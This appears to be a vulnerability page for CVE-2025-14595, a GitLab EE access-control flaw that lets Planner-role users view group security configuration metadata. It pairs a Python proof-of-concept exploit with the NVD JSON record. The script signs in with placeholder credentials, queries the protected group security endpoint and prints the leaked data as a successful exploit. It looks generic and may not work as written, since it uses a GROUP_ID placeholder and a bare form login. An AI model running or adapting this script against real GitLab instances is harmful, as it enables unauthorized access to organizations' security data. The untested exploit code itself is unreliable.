CVE-2025-14595

import requests # Target configuration target_url = "https://gitlab.example.com" api_endpoint = f"{target_url}/api/v4/groups/GROUP_ID/security/configuration" # Credentials for a user with 'Planner' role username = "[email protected]" password = "password123" # 1. Authenticate session = requests.Session() login_data = {"user[login]": username, "user[password]": password} session.post(f"{target_url}/users/sign_in", data=login_data) # 2. Send Request to Protected Endpoint # Exploit: Sending a request to access group security configuration metadata headers = {"Content-Type": "application/json"} response = session.get(api_endpoint, headers=headers) # 3. Check for Data Leakage if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Leaked Security Metadata:") print(response.json()) else: print("[-] Failed to exploit or endpoint not found.")

{"cve": {"id": "CVE-2025-14595", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:27.363", "lastModified": "2026-03-26T18:28:05.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab EE affecting all versions from 18.6 before 18.8.7, 18.9 before 18.9.3, and 18.10 before 18.10.1 that under certain conditions could have allowed an authenticated user with Planner role to view security category metadata and attributes in group security configuration due to improper access control"}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab EE que afecta a todas las versiones desde la 18.6 anterior a la 18.8.7, la 18.9 anterior a la 18.9.3 y la 18.10 anterior a la 18.10.1 que bajo ciertas condiciones podría haber permitido a un usuario autenticado con rol de Planificador ver metadatos y atributos de categoría de seguridad en la configuración de seguridad del grupo debido a un control de acceso inadecuado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.8.7", "matchCriteriaId": "DEB82ED4-D7EE-476D-B925-3B1244A34599"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.8.7", "matchCriteriaId": "E97386DE-180F-4FD1-AC93-F3263F55C540"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.3", "matchCriteriaId": "96F7E7EC-4C2E-4A48-8134-9262B251C89C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.3", "matchCriteriaId": "C3240349-67A3-43E2-BAD9-EFAA3E0A5D31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.10.0:*:*:*:community:*:*:*", "matchCriteriaId": "D5B6ECC9-6AEA-4DD0-B12B-A3A7A9FE91DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.10.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "2B8DF779-B99E-4096-B734-78AB1849D136"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/03/25/patch-release-gitlab-18-10-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/583971", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3457779", "source": "[email protected]", "tags": ["Permissions Required"]}]}}